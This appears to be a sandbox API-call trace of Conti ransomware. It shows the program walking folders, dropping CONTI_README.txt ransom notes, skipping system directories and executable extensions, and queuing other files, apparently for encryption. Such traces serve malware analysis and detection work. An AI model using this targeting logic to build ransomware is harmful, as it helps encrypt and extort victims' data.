	[0093.211] StrStrIW (lpFirst="SetupResources.dll", lpSrch=".dll") returned=".dll"
	[0093.211] FindNextFileW (in: hFindFile=0x175e470, lpFindFileData=0x5c3f640 | out: lpFindFileData=0x5c3f640*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x3758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0
	[0093.211] GetProcessHeap () returned 0x1720000
	[0093.211] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17345e8 | out: hHeap=0x1720000) returned 1
	[0093.211] FindClose (in: hFindFile=0x175e470 | out: hFindFile=0x175e470) returned 1
	[0093.212] GetProcessHeap () returned 0x1720000
	[0093.212] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x175e770 | out: hHeap=0x1720000) returned 1
	[0093.212] FindNextFileW (in: hFindFile=0x175e670, lpFindFileData=0x5c3f8b0 | out: lpFindFileData=0x5c3f8b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x45, dwReserved1=0xffffed8b, cFileName="1029", cAlternateFileName="")) returned 1
	[0093.212] lstrcmpiW (lpString1="1029", lpString2=".") returned 1
	[0093.212] lstrcmpiW (lpString1="1029", lpString2="..") returned 1
	[0093.212] lstrcmpiW (lpString1="1029", lpString2="tmp") returned -1
	[0093.212] lstrcmpiW (lpString1="1029", lpString2="winnt") returned -1
	[0093.212] lstrcmpiW (lpString1="1029", lpString2="Application Data") returned -1
	[0093.212] lstrcmpiW (lpString1="1029", lpString2="AppData") returned -1
	[0093.212] lstrcmpiW (lpString1="1029", lpString2="temp") returned -1
	[0093.212] lstrcmpiW (lpString1="1029", lpString2="thumb") returned -1
	[0093.212] lstrcmpiW (lpString1="1029", lpString2="$Recycle.Bin") returned 1
	[0093.212] lstrcmpiW (lpString1="1029", lpString2="$RECYCLE.BIN") returned 1
	[0093.212] lstrcmpiW (lpString1="1029", lpString2="System Volume Information") returned -1
	[0093.212] lstrcmpiW (lpString1="1029", lpString2="Program Files") returned -1
	[0093.212] lstrcmpiW (lpString1="1029", lpString2="Program Files (x86)") returned -1
	[0093.212] lstrcmpiW (lpString1="1029", lpString2="Boot") returned -1
	[0093.212] lstrcmpiW (lpString1="1029", lpString2="Windows") returned -1
	[0093.212] lstrlenW (lpString="C:\\588bce7c90097ed212") returned 21
	[0093.212] lstrlenW (lpString="1029") returned 4
	[0093.212] GetProcessHeap () returned 0x1720000
	[0093.212] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x36) returned 0x175e3b0
	[0093.212] lstrcpyW (in: lpString1=0x175e3b0, lpString2="C:\\588bce7c90097ed212" | out: lpString1="C:\\588bce7c90097ed212") returned="C:\\588bce7c90097ed212"
	[0093.212] lstrcatW (in: lpString1="C:\\588bce7c90097ed212", lpString2="\\" | out: lpString1="C:\\588bce7c90097ed212\\") returned="C:\\588bce7c90097ed212\\"
	[0093.212] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\", lpString2="1029" | out: lpString1="C:\\588bce7c90097ed212\\1029") returned="C:\\588bce7c90097ed212\\1029"
	[0093.212] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029") returned 26
	[0093.212] GetProcessHeap () returned 0x1720000
	[0093.212] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x3a) returned 0x1734828
	[0093.212] lstrcpyW (in: lpString1=0x1734828, lpString2="C:\\588bce7c90097ed212\\1029" | out: lpString1="C:\\588bce7c90097ed212\\1029") returned="C:\\588bce7c90097ed212\\1029"
	[0093.212] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\1029", lpString2="\\*" | out: lpString1="C:\\588bce7c90097ed212\\1029\\*") returned="C:\\588bce7c90097ed212\\1029\\*"
	[0093.212] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029") returned 26
	[0093.212] lstrlenW (lpString="CONTI_README.txt") returned 16
	[0093.212] GetProcessHeap () returned 0x1720000
	[0093.212] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x58) returned 0x17bfb20
	[0093.212] lstrcpyW (in: lpString1=0x17bfb20, lpString2="C:\\588bce7c90097ed212\\1029" | out: lpString1="C:\\588bce7c90097ed212\\1029") returned="C:\\588bce7c90097ed212\\1029"
	[0093.213] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\1029", lpString2="\\" | out: lpString1="C:\\588bce7c90097ed212\\1029\\") returned="C:\\588bce7c90097ed212\\1029\\"
	[0093.213] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\1029\\", lpString2="CONTI_README.txt" | out: lpString1="C:\\588bce7c90097ed212\\1029\\CONTI_README.txt") returned="C:\\588bce7c90097ed212\\1029\\CONTI_README.txt"
	[0093.213] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1029\\CONTI_README.txt" (normalized: "c:\\588bce7c90097ed212\\1029\\conti_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc
	[0093.215] GetProcessHeap () returned 0x1720000
	[0093.215] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17bfb20 | out: hHeap=0x1720000) returned 1
	[0093.215] WriteFile (in: hFile=0x2fc, lpBuffer=0xba0d0*, nNumberOfBytesToWrite=0xa2, lpNumberOfBytesWritten=0x5c3f61c, lpOverlapped=0x0 | out: lpBuffer=0xba0d0*, lpNumberOfBytesWritten=0x5c3f61c*=0xa2, lpOverlapped=0x0) returned 1
	[0093.216] CloseHandle (hObject=0x2fc) returned 1
	[0093.216] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1029\\*", lpFindFileData=0x5c3f640 | out: lpFindFileData=0x5c3f640*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37db23a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0x4b6712cc, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x175e330
	[0093.216] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0093.216] FindNextFileW (in: hFindFile=0x175e330, lpFindFileData=0x5c3f640 | out: lpFindFileData=0x5c3f640*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37db23a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0x4b6712cc, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0093.216] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0093.216] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0093.216] FindNextFileW (in: hFindFile=0x175e330, lpFindFileData=0x5c3f640 | out: lpFindFileData=0x5c3f640*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4b6712cc, ftCreationTime.dwHighDateTime=0x1d5dfd1, ftLastAccessTime.dwLowDateTime=0x4b6712cc, ftLastAccessTime.dwHighDateTime=0x1d5dfd1, ftLastWriteTime.dwLowDateTime=0x4b6712cc, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0xa2, dwReserved0=0x0, dwReserved1=0x0, cFileName="CONTI_README.txt", cAlternateFileName="CONTI_~1.TXT")) returned 1
	[0093.216] lstrcmpiW (lpString1="CONTI_README.txt", lpString2=".") returned 1
	[0093.216] lstrcmpiW (lpString1="CONTI_README.txt", lpString2="..") returned 1
	[0093.217] StrStrIW (lpFirst="CONTI_README.txt", lpSrch=".CONTI") returned 0x0
	[0093.217] StrStrIW (lpFirst="CONTI_README.txt", lpSrch="CONTI_README.txt") returned="CONTI_README.txt"
	[0093.217] FindNextFileW (in: hFindFile=0x175e330, lpFindFileData=0x5c3f640 | out: lpFindFileData=0x5c3f640*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xe8e, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1
	[0093.217] lstrcmpiW (lpString1="eula.rtf", lpString2=".") returned 1
	[0093.217] lstrcmpiW (lpString1="eula.rtf", lpString2="..") returned 1
	[0093.217] StrStrIW (lpFirst="eula.rtf", lpSrch=".CONTI") returned 0x0
	[0093.217] StrStrIW (lpFirst="eula.rtf", lpSrch="CONTI_README.txt") returned 0x0
	[0093.217] StrStrIW (lpFirst="eula.rtf", lpSrch=".exe") returned 0x0
	[0093.217] StrStrIW (lpFirst="eula.rtf", lpSrch=".dll") returned 0x0
	[0093.217] StrStrIW (lpFirst="eula.rtf", lpSrch=".lnk") returned 0x0
	[0093.217] StrStrIW (lpFirst="eula.rtf", lpSrch=".sys") returned 0x0
	[0093.217] StrStrIW (lpFirst="eula.rtf", lpSrch=".CONTI") returned 0x0
	[0093.217] StrStrIW (lpFirst="eula.rtf", lpSrch="CONTI_README.txt") returned 0x0
	[0093.217] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029") returned 26
	[0093.217] lstrlenW (lpString="eula.rtf") returned 8
	[0093.217] GetProcessHeap () returned 0x1720000
	[0093.217] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x48) returned 0x173d288
	[0093.217] lstrcpyW (in: lpString1=0x173d288, lpString2="C:\\588bce7c90097ed212\\1029" | out: lpString1="C:\\588bce7c90097ed212\\1029") returned="C:\\588bce7c90097ed212\\1029"
	[0093.217] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\1029", lpString2="\\" | out: lpString1="C:\\588bce7c90097ed212\\1029\\") returned="C:\\588bce7c90097ed212\\1029\\"
	[0093.217] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\1029\\", lpString2="eula.rtf" | out: lpString1="C:\\588bce7c90097ed212\\1029\\eula.rtf") returned="C:\\588bce7c90097ed212\\1029\\eula.rtf"
	[0093.217] PostQueuedCompletionStatus (CompletionPort=0x1b0, dwNumberOfBytesTransferred=0x1, dwCompletionKey=0x0, lpOverlapped=0x17c1518) returned 1
	[0093.217] FindNextFileW (in: hFindFile=0x175e330, lpFindFileData=0x5c3f640 | out: lpFindFileData=0x5c3f640*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x13c4a, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1
	[0093.217] lstrcmpiW (lpString1="LocalizedData.xml", lpString2=".") returned 1
	[0093.217] lstrcmpiW (lpString1="LocalizedData.xml", lpString2="..") returned 1
	[0093.217] StrStrIW (lpFirst="LocalizedData.xml", lpSrch=".CONTI") returned 0x0
	[0093.217] StrStrIW (lpFirst="LocalizedData.xml", lpSrch="CONTI_README.txt") returned 0x0
	[0093.217] StrStrIW (lpFirst="LocalizedData.xml", lpSrch=".exe") returned 0x0
	[0093.217] StrStrIW (lpFirst="LocalizedData.xml", lpSrch=".dll") returned 0x0
	[0093.217] StrStrIW (lpFirst="LocalizedData.xml", lpSrch=".lnk") returned 0x0
	[0093.217] StrStrIW (lpFirst="LocalizedData.xml", lpSrch=".sys") returned 0x0
	[0093.217] StrStrIW (lpFirst="LocalizedData.xml", lpSrch=".CONTI") returned 0x0
	[0093.217] StrStrIW (lpFirst="LocalizedData.xml", lpSrch="CONTI_README.txt") returned 0x0
	[0093.217] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029") returned 26
	[0093.217] lstrlenW (lpString="LocalizedData.xml") returned 17
	[0093.218] GetProcessHeap () returned 0x1720000
	[0093.218] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x5a) returned 0x17c1750
	[0093.218] lstrcpyW (in: lpString1=0x17c1750, lpString2="C:\\588bce7c90097ed212\\1029" | out: lpString1="C:\\588bce7c90097ed212\\1029") returned="C:\\588bce7c90097ed212\\1029"
	[0093.218] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\1029", lpString2="\\" | out: lpString1="C:\\588bce7c90097ed212\\1029\\") returned="C:\\588bce7c90097ed212\\1029\\"
	[0093.218] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\1029\\", lpString2="LocalizedData.xml" | out: lpString1="C:\\588bce7c90097ed212\\1029\\LocalizedData.xml") returned="C:\\588bce7c90097ed212\\1029\\LocalizedData.xml"
	[0093.218] PostQueuedCompletionStatus (CompletionPort=0x1b0, dwNumberOfBytesTransferred=0x1, dwCompletionKey=0x0, lpOverlapped=0x17c3a18) returned 1
	[0093.218] FindNextFileW (in: hFindFile=0x175e330, lpFindFileData=0x5c3f640 | out: lpFindFileData=0x5c3f640*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1
	[0093.218] lstrcmpiW (lpString1="SetupResources.dll", lpString2=".") returned 1
	[0093.218] lstrcmpiW (lpString1="SetupResources.dll", lpString2="..") returned 1
	[0093.218] StrStrIW (lpFirst="SetupResources.dll", lpSrch=".CONTI") returned 0x0
	[0093.218] StrStrIW (lpFirst="SetupResources.dll", lpSrch="CONTI_README.txt") returned 0x0
	[0093.218] StrStrIW (lpFirst="SetupResources.dll", lpSrch=".exe") returned 0x0
	[0093.218] StrStrIW (lpFirst="SetupResources.dll", lpSrch=".dll") returned=".dll"
	[0093.218] FindNextFileW (in: hFindFile=0x175e330, lpFindFileData=0x5c3f640 | out: lpFindFileData=0x5c3f640*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0
	[0093.218] GetProcessHeap () returned 0x1720000
	[0093.218] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x1734828 | out: hHeap=0x1720000) returned 1
	[0093.218] FindClose (in: hFindFile=0x175e330 | out: hFindFile=0x175e330) returned 1
	[0093.218] GetProcessHeap () returned 0x1720000
	[0093.218] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x175e3b0 | out: hHeap=0x1720000) returned 1
	[0093.218] FindNextFileW (in: hFindFile=0x175e670, lpFindFileData=0x5c3f8b0 | out: lpFindFileData=0x5c3f8b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x45, dwReserved1=0xffffed8b, cFileName="1030", cAlternateFileName="")) returned 1
	[0093.218] lstrcmpiW (lpString1="1030", lpString2=".") returned 1
	[0093.218] lstrcmpiW (lpString1="1030", lpString2="..") returned 1
	[0093.218] lstrcmpiW (lpString1="1030", lpString2="tmp") returned -1
	[0093.218] lstrcmpiW (lpString1="1030", lpString2="winnt") returned -1
	[0093.218] lstrcmpiW (lpString1="1030", lpString2="Application Data") returned -1
	[0093.218] lstrcmpiW (lpString1="1030", lpString2="AppData") returned -1
	[0093.218] lstrcmpiW (lpString1="1030", lpString2="temp") returned -1
	[0093.218] lstrcmpiW (lpString1="1030", lpString2="thumb") returned -1
	[0093.218] lstrcmpiW (lpString1="1030", lpString2="$Recycle.Bin") returned 1
	[0093.218] lstrcmpiW (lpString1="1030", lpString2="$RECYCLE.BIN") returned 1
	[0093.218] lstrcmpiW (lpString1="1030", lpString2="System Volume Information") returned -1
	[0093.218] lstrcmpiW (lpString1="1030", lpString2="Program Files") returned -1
	[0093.218] lstrcmpiW (lpString1="1030", lpString2="Program Files (x86)") returned -1
	[0093.219] lstrcmpiW (lpString1="1030", lpString2="Boot") returned -1
	[0093.219] lstrcmpiW (lpString1="1030", lpString2="Windows") returned -1
	[0093.219] lstrlenW (lpString="C:\\588bce7c90097ed212") returned 21
	[0093.219] lstrlenW (lpString="1030") returned 4
	[0093.219] GetProcessHeap () returned 0x1720000
	[0093.219] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x36) returned 0x175e330
	[0093.219] lstrcpyW (in: lpString1=0x175e330, lpString2="C:\\588bce7c90097ed212" | out: lpString1="C:\\588bce7c90097ed212") returned="C:\\588bce7c90097ed212"
	[0093.219] lstrcatW (in: lpString1="C:\\588bce7c90097ed212", lpString2="\\" | out: lpString1="C:\\588bce7c90097ed212\\") returned="C:\\588bce7c90097ed212\\"
	[0093.219] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\", lpString2="1030" | out: lpString1="C:\\588bce7c90097ed212\\1030") returned="C:\\588bce7c90097ed212\\1030"
	[0093.219] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030") returned 26
	[0093.219] GetProcessHeap () returned 0x1720000
	[0093.219] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x3a) returned 0x1734510
	[0093.219] lstrcpyW (in: lpString1=0x1734510, lpString2="C:\\588bce7c90097ed212\\1030" | out: lpString1="C:\\588bce7c90097ed212\\1030") returned="C:\\588bce7c90097ed212\\1030"
	[0093.219] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\1030", lpString2="\\*" | out: lpString1="C:\\588bce7c90097ed212\\1030\\*") returned="C:\\588bce7c90097ed212\\1030\\*"
	[0093.219] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030") returned 26
	[0093.219] lstrlenW (lpString="CONTI_README.txt") returned 16
	[0093.219] GetProcessHeap () returned 0x1720000
	[0093.219] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x58) returned 0x17bfb20
	[0093.219] lstrcpyW (in: lpString1=0x17bfb20, lpString2="C:\\588bce7c90097ed212\\1030" | out: lpString1="C:\\588bce7c90097ed212\\1030") returned="C:\\588bce7c90097ed212\\1030"
	[0093.219] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\1030", lpString2="\\" | out: lpString1="C:\\588bce7c90097ed212\\1030\\") returned="C:\\588bce7c90097ed212\\1030\\"
	[0093.219] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\1030\\", lpString2="CONTI_README.txt" | out: lpString1="C:\\588bce7c90097ed212\\1030\\CONTI_README.txt") returned="C:\\588bce7c90097ed212\\1030\\CONTI_README.txt"
	[0093.219] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1030\\CONTI_README.txt" (normalized: "c:\\588bce7c90097ed212\\1030\\conti_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc
	[0093.221] GetProcessHeap () returned 0x1720000
	[0093.221] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17bfb20 | out: hHeap=0x1720000) returned 1
	[0093.221] WriteFile (in: hFile=0x2fc, lpBuffer=0xba0d0*, nNumberOfBytesToWrite=0xa2, lpNumberOfBytesWritten=0x5c3f61c, lpOverlapped=0x0 | out: lpBuffer=0xba0d0*, lpNumberOfBytesWritten=0x5c3f61c*=0xa2, lpOverlapped=0x0) returned 1
	[0093.222] CloseHandle (hObject=0x2fc) returned 1
	[0093.222] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1030\\*", lpFindFileData=0x5c3f640 | out: lpFindFileData=0x5c3f640*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37db23a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0x4b6712cc, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x175e6f0
	[0093.222] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0093.222] FindNextFileW (in: hFindFile=0x175e6f0, lpFindFileData=0x5c3f640 | out: lpFindFileData=0x5c3f640*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37db23a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0x4b6712cc, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0093.222] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0093.222] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0093.222] FindNextFileW (in: hFindFile=0x175e6f0, lpFindFileData=0x5c3f640 | out: lpFindFileData=0x5c3f640*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4b6712cc, ftCreationTime.dwHighDateTime=0x1d5dfd1, ftLastAccessTime.dwLowDateTime=0x4b6712cc, ftLastAccessTime.dwHighDateTime=0x1d5dfd1, ftLastWriteTime.dwLowDateTime=0x4b6712cc, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0xa2, dwReserved0=0x0, dwReserved1=0x0, cFileName="CONTI_README.txt", cAlternateFileName="CONTI_~1.TXT")) returned 1
	[0093.222] lstrcmpiW (lpString1="CONTI_README.txt", lpString2=".") returned 1
	[0093.222] lstrcmpiW (lpString1="CONTI_README.txt", lpString2="..") returned 1
	[0093.222] StrStrIW (lpFirst="CONTI_README.txt", lpSrch=".CONTI") returned 0x0
	[0093.222] StrStrIW (lpFirst="CONTI_README.txt", lpSrch="CONTI_README.txt") returned="CONTI_README.txt"
	[0093.222] FindNextFileW (in: hFindFile=0x175e6f0, lpFindFileData=0x5c3f640 | out: lpFindFileData=0x5c3f640*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xcf2, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1
	[0093.222] lstrcmpiW (lpString1="eula.rtf", lpString2=".") returned 1
	[0093.222] lstrcmpiW (lpString1="eula.rtf", lpString2="..") returned 1
	[0093.222] StrStrIW (lpFirst="eula.rtf", lpSrch=".CONTI") returned 0x0
	[0093.222] StrStrIW (lpFirst="eula.rtf", lpSrch="CONTI_README.txt") returned 0x0
	[0093.222] StrStrIW (lpFirst="eula.rtf", lpSrch=".exe") returned 0x0
	[0093.223] StrStrIW (lpFirst="eula.rtf", lpSrch=".dll") returned 0x0
	[0093.223] StrStrIW (lpFirst="eula.rtf", lpSrch=".lnk") returned 0x0
	[0093.223] StrStrIW (lpFirst="eula.rtf", lpSrch=".sys") returned 0x0
	[0093.223] StrStrIW (lpFirst="eula.rtf", lpSrch=".CONTI") returned 0x0
	[0093.223] StrStrIW (lpFirst="eula.rtf", lpSrch="CONTI_README.txt") returned 0x0
	[0093.223] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030") returned 26
	[0093.223] lstrlenW (lpString="eula.rtf") returned 8
	[0093.223] GetProcessHeap () returned 0x1720000
	[0093.223] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x48) returned 0x173d008
	[0093.223] lstrcpyW (in: lpString1=0x173d008, lpString2="C:\\588bce7c90097ed212\\1030" | out: lpString1="C:\\588bce7c90097ed212\\1030") returned="C:\\588bce7c90097ed212\\1030"
	[0093.223] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\1030", lpString2="\\" | out: lpString1="C:\\588bce7c90097ed212\\1030\\") returned="C:\\588bce7c90097ed212\\1030\\"
	[0093.223] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\1030\\", lpString2="eula.rtf" | out: lpString1="C:\\588bce7c90097ed212\\1030\\eula.rtf") returned="C:\\588bce7c90097ed212\\1030\\eula.rtf"
	[0093.223] PostQueuedCompletionStatus (CompletionPort=0x1b0, dwNumberOfBytesTransferred=0x1, dwCompletionKey=0x0, lpOverlapped=0x17c3c50) returned 1
	[0093.223] FindNextFileW (in: hFindFile=0x175e6f0, lpFindFileData=0x5c3f640 | out: lpFindFileData=0x5c3f640*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x12fb4, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1
	[0093.223] lstrcmpiW (lpString1="LocalizedData.xml", lpString2=".") returned 1
	[0093.223] lstrcmpiW (lpString1="LocalizedData.xml", lpString2="..") returned 1
	[0093.223] StrStrIW (lpFirst="LocalizedData.xml", lpSrch=".CONTI") returned 0x0
	[0093.223] StrStrIW (lpFirst="LocalizedData.xml", lpSrch="CONTI_README.txt") returned 0x0
	[0093.223] StrStrIW (lpFirst="LocalizedData.xml", lpSrch=".exe") returned 0x0
	[0093.223] StrStrIW (lpFirst="LocalizedData.xml", lpSrch=".dll") returned 0x0
	[0093.223] StrStrIW (lpFirst="LocalizedData.xml", lpSrch=".lnk") returned 0x0
	[0093.223] StrStrIW (lpFirst="LocalizedData.xml", lpSrch=".sys") returned 0x0
	[0093.223] StrStrIW (lpFirst="LocalizedData.xml", lpSrch=".CONTI") returned 0x0
	[0093.223] StrStrIW (lpFirst="LocalizedData.xml", lpSrch="CONTI_README.txt") returned 0x0
	[0093.223] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030") returned 26
	[0093.223] lstrlenW (lpString="LocalizedData.xml") returned 17
	[0093.223] GetProcessHeap () returned 0x1720000
	[0093.223] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x5a) returned 0x17bfb20
	[0093.223] lstrcpyW (in: lpString1=0x17bfb20, lpString2="C:\\588bce7c90097ed212\\1030" | out: lpString1="C:\\588bce7c90097ed212\\1030") returned="C:\\588bce7c90097ed212\\1030"
	[0093.223] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\1030", lpString2="\\" | out: lpString1="C:\\588bce7c90097ed212\\1030\\") returned="C:\\588bce7c90097ed212\\1030\\"
	[0093.223] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\1030\\", lpString2="LocalizedData.xml" | out: lpString1="C:\\588bce7c90097ed212\\1030\\LocalizedData.xml") returned="C:\\588bce7c90097ed212\\1030\\LocalizedData.xml"
